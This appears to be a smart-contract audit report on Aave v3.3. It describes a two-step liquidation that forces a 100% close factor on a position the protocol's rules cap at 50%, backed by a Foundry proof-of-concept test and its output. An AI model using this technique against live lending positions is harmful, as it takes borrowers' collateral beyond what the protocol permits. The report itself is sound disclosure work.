Macho Tartan Finch

Medium

# Liquidation with 100% close factor is still possible even if HF is greater than 0.95 and both collateral and debt worth in base currency higher than MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD

### Summary

100% Liquidation still possible even if HF is greater than 0.95 and both collateral and debt worth in base currency higher than MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD.

### Root Cause

This liquidation is possible when the debt amount in base currency is close to `MIN_BASE...` level. Normally in this situation, liquidator can liquidate up to 50% of the position. But liquidator may intentionally leave the position in unhealthy state such as 0.999 and he can force the close factor to 100% in second liquidation.

This specific level percentage can be calculated with following formula:

```math
PercentageToLeaveUnhealthyWithMaxAmount = (1 - HF ) / ( 1 - LT * Bonus )
```
After liquidation with few less amount of the percentage above, the position will be in unhealthy state and maximum amount of debt is liquidated in order to force the close factor to 100%.

In second liquidation, liquidator can easily liquidate 100% of the position if the debt amount is lesser than `MIN_BASE...` after first liquidation.

[Reference1](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L283C1-L287C8)

### Attack Path

1. Liquidated `X` Amount of debt and leave the position unhealthy.
2. Liquidate 100% of the debt in second liquidation.

### Impact

It breaks the main invariant of the protocol because protocol states that only following positions can be liquidated 100%:

> There are certain mutually inclusive conditions which increases the CLOSE_FACTOR to 100%:
when a users health-factor drops <=0.95 or
if the users total value of the debt position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD
if the users total value of the collateral position to be liquidated is below MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD

In PoC none of the conditions are meet but it's still liquidateable with 100% close factor. Borrower will lose his funds because normally liquidating 50% of the position will put the position in healthy state ( above one for HF ). But instead, borrower will lose all of his funds.

### PoC

Following PoC test will prove the liquidation is possible:

Add this test to Pool.Liquidations.CloseFactor.t.sol file

Command: `forge test --match-test test_liquidate_100_percent_when_supply_gt_threshold_hf_gt_095 -vv`

```solidity
  function test_liquidate_100_percent_when_supply_gt_threshold_hf_gt_095() public {

    address collateralAsset = tokenList.weth;
    address debtAsset = tokenList.usdx;
    uint256 conf = contracts.poolProxy.getConfiguration(collateralAsset).data;
    uint256 lt = (conf & 0x00000000000000000000000000000000000000000000000000000000FFFF0000) >> 16;
    uint256 bonus = (conf & 0x0000000000000000000000000000000000000000000000000000FFFF00000000) >> 32;
    console2.log('LT: %4e',lt);
    console2.log('Bonus: %4e',bonus);
    uint256 borrowPrice = contracts.aaveOracle.getAssetPrice(debtAsset);
    uint256 collatPrice = contracts.aaveOracle.getAssetPrice(collateralAsset);
    
    uint256 borrowAmount = (LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD *
      10 ** IERC20Detailed(debtAsset).decimals() * 150) / ( borrowPrice * 100); // MIN_BASE * 1.5 = 3000 Debt In Base Currency
    uint256 supplyAmount = ((borrowAmount * borrowPrice) / (10 ** IERC20Detailed(debtAsset).decimals()) * 96 * 10_000 / (100 * lt)) 
      * 10 ** IERC20Detailed(collateralAsset).decimals() / collatPrice; // For 0.96 HF
    _supplyToPool(collateralAsset, bob, supplyAmount);

    vm.mockCall(
      address(contracts.aaveOracle),
      abi.encodeWithSelector(IPriceOracleGetter.getAssetPrice.selector, debtAsset),
      abi.encode(0)
    );

    vm.prank(bob);
    contracts.poolProxy.borrow(debtAsset, borrowAmount, 2, 0, bob);
    vm.clearMockedCalls();

    (uint256 realCollatAmount, uint256 realDebtAmount, , , , uint256 hf) = contracts.poolProxy.getUserAccountData(bob);

    // Double Check HF is 0.96
    console2.log('HF: %18e', hf);
    console2.log('Is debt amount bigger than MIN_BASE: ', realDebtAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD);
    console2.log('Is collateral amount bigger than MIN_BASE: ', realCollatAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD);
    console2.log('Real Collat in Base: %8e',realCollatAmount);
    console2.log('Real Debt in Base: %8e',realDebtAmount);
    console2.log('MIN_BASE: %8e',LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD);

    // EDGE CASE: liquidate few less amounts from edge point
    uint256 x = (1e18 - hf) * 1e18 / (1e18 - lt * bonus * 1e10) - 1e16; // 1e10 for decimal stabilization
    uint256 debtToCover = borrowAmount * x / 1e18;

    console2.log('First Liquidation...');
    console2.log('Liquidate %18e percentage of debt', x);
    vm.startPrank(liquidator);
    IERC20Detailed(debtAsset).approve(address(contracts.poolProxy), type(uint256).max);
    contracts.poolProxy.liquidationCall(collateralAsset, debtAsset, bob, debtToCover, false);

    (realCollatAmount, realDebtAmount, , , , hf) = contracts.poolProxy.getUserAccountData(bob);
    console2.log('New HF: %18e', hf);
    console2.log('Is debt amount bigger than MIN_BASE: ', realDebtAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD);
    console2.log('Is collateral amount bigger than MIN_BASE: ', realCollatAmount > LiquidationLogic.MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD);

    // Now Liquidate the rest of it
    console2.log('Second Liquidation For Whole Position...');
    contracts.poolProxy.liquidationCall(collateralAsset, debtAsset, bob, type(uint256).max, false);
    vm.stopPrank();

    (realCollatAmount, realDebtAmount, , , ,) = contracts.poolProxy.getUserAccountData(bob);
    console2.log('Last Debt: %8e', realDebtAmount);
    console2.log('Last Collat: %8e', realCollatAmount);

  }
```

Output:

```console
  LT: 0.86
  Bonus: 1.05
  HF: 0.959999999996666667
  Is debt amount bigger than MIN_BASE:  true
  Is collateral amount bigger than MIN_BASE:  true
  Real Collat in Base: 3348.83720929
  Real Debt in Base: 3000
  MIN_BASE: 2000
  First Liquidation...
  Liquidate 0.402371134054982814 percentage of debt
  New HF: 0.998376919090562581
  Is debt amount bigger than MIN_BASE:  false
  Is collateral amount bigger than MIN_BASE:  true
  Second Liquidation For Whole Position...
  Last Debt: 0
  Last Collat: 198.8372093

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 103.11ms (3.19ms CPU time)

Ran 1 test suite in 111.04ms (103.11ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


### Mitigation

Do not allow the liquidators to leave the position in unhealthy state